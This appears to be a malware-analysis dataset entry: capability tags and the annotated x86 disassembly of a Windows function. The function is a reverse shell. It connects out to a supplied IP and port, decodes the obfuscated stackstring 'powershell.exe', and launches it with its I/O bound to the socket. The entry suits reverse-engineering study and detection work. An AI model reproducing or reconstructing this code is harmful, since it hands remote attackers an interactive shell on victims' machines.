Function at 0x402620
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Contain obfuscated stackstrings
Create a process with modified i/o handles and window
Create process on windows
Create process suspended
Create tcp socket
Create udp socket
Initialize winsock library
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x648
mov dword [esp], 0x1388
mov eax, dword [sym.imp.KERNEL32.dll_Sleep]
call eax
sub esp, 4
lea eax, [ebp - 0x5d4]
mov dword [esp + 4], eax
mov dword [esp], 0x202
mov eax, dword [sym.imp.WS2_32.dll_WSAStartup]
call eax
sub esp, 8
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 6
mov dword [esp + 4], 1
mov dword [esp], 2
mov eax, dword [sym.imp.WS2_32.dll_WSASocketA]
call eax
sub esp, 0x18
mov dword [ebp - 0xc], eax
mov word [ebp - 0x24], 2
mov eax, dword [ebp + 8]
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_inet_addr]
call eax
sub esp, 4
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
movzx eax, ax
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_htons]
call eax
sub esp, 4
mov word [ebp - 0x22], ax
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0x10
lea eax, [ebp - 0x24]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_WSAConnect]
call eax
sub esp, 0x1c
cmp eax, 0xffffffff
sete al
test al, al
je 0x402726
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_closesocket]
call eax
sub esp, 4
mov eax, dword [sym.imp.WS2_32.dll_WSACleanup]
call eax
jmp 0x40292d
mov dword [esp + 8], 0x400
mov dword [esp + 4], 0
lea eax, [ebp - 0x444]
mov dword [esp], eax
call sub.msvcrt.dll_memset
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0x400
lea eax, [ebp - 0x444]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_recv]
call eax
sub esp, 0x10
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jg 0x402793
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_closesocket]
call eax
sub esp, 4
mov eax, dword [sym.imp.WS2_32.dll_WSACleanup]
call eax
jmp 0x40292d
mov dword [ebp - 0x33], 0x65776f70
mov dword [ebp - 0x2f], 0x65687372
mov dword [ebp - 0x2b], 0x652e6c6c
mov word [ebp - 0x27], 0x6578
mov byte [ebp - 0x25], 0
mov dword [esp + 8], 0x44
mov dword [esp + 4], 0
lea eax, [ebp - 0x618]
mov dword [esp], eax
call sub.msvcrt.dll_memset
mov dword [ebp - 0x618], 0x44
mov dword [ebp - 0x5ec], 0x101
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x5d8], eax
mov eax, dword [ebp - 0x5d8]
mov dword [ebp - 0x5dc], eax
mov eax, dword [ebp - 0x5dc]
mov dword [ebp - 0x5e0], eax
lea eax, [ebp - 0x44]
mov dword [esp + 0x24], eax
lea eax, [ebp - 0x618]
mov dword [esp + 0x20], eax
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 1
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
lea eax, [ebp - 0x33]
mov dword [esp + 4], eax
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_CreateProcessA]
call eax
sub esp, 0x28
mov eax, dword [ebp - 0x44]
mov dword [esp + 4], 0xffffffff
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call eax
sub esp, 8
mov eax, dword [ebp - 0x44]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_CloseHandle]
call eax
sub esp, 4
mov eax, dword [ebp - 0x40]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_CloseHandle]
call eax
sub esp, 4
mov dword [esp + 8], 0x400
mov dword [esp + 4], 0
lea eax, [ebp - 0x444]
mov dword [esp], eax
call sub.msvcrt.dll_memset
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0x400
lea eax, [ebp - 0x444]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_recv]
call eax
sub esp, 0x10
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
jg 0x402903
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_closesocket]
call eax
sub esp, 4
mov eax, dword [sym.imp.WS2_32.dll_WSACleanup]
call eax
jmp 0x402629
mov dword [esp + 4], str.exit_n
lea eax, [ebp - 0x444]
mov dword [esp], eax
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x402629
mov dword [esp], 0
call sub.msvcrt.dll_exit
jmp 0x402629